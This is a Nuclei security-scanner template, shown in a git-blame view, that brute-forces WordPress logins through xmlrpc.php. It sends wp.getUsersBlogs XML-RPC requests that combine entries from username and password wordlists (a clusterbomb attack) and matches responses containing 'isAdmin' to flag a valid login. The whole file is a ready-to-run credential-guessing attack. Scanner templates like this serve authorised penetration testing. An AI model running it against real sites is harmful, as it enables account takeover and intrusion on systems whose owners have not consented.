2021-12-29 16:34:23 +00:00
|
|
|
id: wordpress-xmlrpc-brute-force
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Wordpress XMLRPC.php username and password Bruteforcer
|
|
|
|
author: Exid
|
|
|
|
severity: high
|
2022-02-28 14:09:26 +00:00
|
|
|
description: This template bruteforces username and passwords through xmlrpc.php being available.
|
2021-12-29 16:34:23 +00:00
|
|
|
reference:
|
|
|
|
- https://bugdasht.ir/reports/3c6841c0-ae4c-11eb-a510-517171a9198c
|
|
|
|
- https://www.acunetix.com/vulnerabilities/web/wordpress-xml-rpc-authentication-brute-force/
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 276
|
2024-03-19 15:20:31 +00:00
|
|
|
tags: wordpress,php,xmlrpc,fuzz
|
2021-12-29 16:34:23 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-12-29 16:34:23 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /xmlrpc.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Length: 235
|
|
|
|
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
|
|
<methodCall>
|
|
|
|
<methodName>wp.getUsersBlogs</methodName>
|
|
|
|
<params>
|
|
|
|
<param>
|
|
|
|
<value>{{username}}</value>
|
|
|
|
</param>
|
|
|
|
<param>
|
|
|
|
<value>{{password}}</value>
|
|
|
|
</param>
|
|
|
|
</params>
|
|
|
|
</methodCall>
|
|
|
|
|
|
|
|
attack: clusterbomb
|
|
|
|
payloads:
|
|
|
|
username: helpers/wordlists/wp-users.txt
|
|
|
|
password: helpers/wordlists/wp-passwords.txt
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- 'url'
|
|
|
|
- 'xmlrpc'
|
|
|
|
- 'isAdmin'
|
|
|
|
condition: and
|
2024-03-19 16:40:41 +00:00
|
|
|
# digest: 4a0a00473045022100edfa1eaae603d4a662ebaa0eaddba9894ee90c4bd3431bcaae13280d7e9c2fa5022027b501e990478aaca56cc4162f495540c80217172b1c28e0b1516864f9913ad8:922c64590222798bb761d5b6d8e72950
|